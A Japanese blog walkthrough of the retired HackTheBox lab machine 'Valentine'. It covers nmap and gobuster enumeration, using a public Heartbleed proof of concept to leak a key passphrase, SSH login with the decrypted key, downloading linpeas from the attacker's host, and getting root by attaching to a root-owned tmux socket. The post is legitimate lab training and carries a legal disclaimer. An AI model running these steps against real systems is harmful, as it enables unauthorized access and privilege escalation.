All Articles

【Easy/Linux】Valentine Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「Valentine」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

いつも通りファストスキャンから始めます。

$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.79  $RHOST/g' /etc/hosts
$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22
|_ssl-date: 2022-07-28T12:23:13+00:00; 0s from scanner time.
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
Service Info: Host: 10.10.10.136; OS: Linux; CPE: cpe:/o:linux:linux_kernel

443ポートが開いているのでアクセスしてみると変な画像がでてきました。

image-20220728212353286

Hertbleedの画像っぽいことがわかります。

GitHub - mpgn/heartbleed-PoC: Hearbleed exploit to retrieve sensitive information CVE-2014-0160から取得したエクスプロイトコードを実行したところ、「heartbleedbelievethehype」という文字列がメモリ内から取得できましたがようとがわかりませんでした。

もう少し探索を進めるためにgobusterを回したところ、/devというパスが見つかり、中にメモと秘密鍵が埋まっていることがわかりました。

$ gobuster dir -u http://$RHOST/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 | tee gobuster.txt

しかし、秘密鍵はProc-Type: 4,ENCRYPTEDの形式で、パスフレーズが設定されているようです。

ここで先ほど取得した文字列を使って秘密鍵を復号することができました。

openssl rsa -in enc.key -out dec.key

ユーザ名がわからなかったので試しにrootを試してみたところ、sign_and_send_pubkey: no mutual signature supportedのエラーがでました。

$ ssh -i dec.ky root@10.10.10.79                                                                   
sign_and_send_pubkey: no mutual signature supported

これはどうやら古いバージョンのSSHが新しいSSHでサポートされていないことにより出力されているエラーのようです。

そこで、以降は古いバージョンのSSHを持つDockerコンテナを使用して進めていきます。

残念ながらrootはだめでしたが、鍵のファイル名がhype_keyだったのでhypeを試したところ、User権限でログインができました。

内部探索

とりあえずlinpeasで探索を始めます。

$ curl 10.10.14.2:5000/linpeas.sh -o linpeas.sh
$ ./linpeas.sh tee linpeas.txt

結果を見ていきます。

カーネルバージョンが古いので、いくつか刺さりそうな脆弱性もあるようです。

╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2
  #############################
    Linux Exploit Suggester 2
  #############################
  Local Kernel: 3.2.0
  Searching 72 exploits...
  Possible Exploits
  [1] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [4] perf_swevent
      CVE-2013-2094
      Source: http://www.exploit-db.com/exploits/26131

sudoのバージョンもかなり古そうです。

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                           
Sudo version 1.8.3p1 

とりあえずいくつかサジェストされたエクスプロイトを試してみたものの、rootは取得できませんでした。

続いて、端末内のhistoryを見てみると、何やらルート権限のtmuxで作業をしていたことがわかります。

hype@Valentine:~$ history
    5  cd /
    6  ls -la
    7  cd .devs
    8  ls -la
    9  tmux -L dev_sess
   10  tmux a -t dev_sess
   11  tmux --help
   12  tmux -S /.devs/dev_sess
   13  exit

tmuxとはターミナルの多重化ソフトウェアで、一つのSSHセッションで複数のターミナルを持つことができます。

そのためシェルが切断された後も別の端末から作業が継続できるようです。

ここで、historyの情報から、端末内の/.devs/dev_sess-Lオプションでソケットを作成していたことがわかります。

そのため、以下のコマンドでroot権限のシェルに接続することでrootを取得できました。

$ tmux -S /.devs/dev_sess 

まとめ

DirtyCowのエクスプロイトがうまく刺さらなかったのでいつかちゃんと読みたい。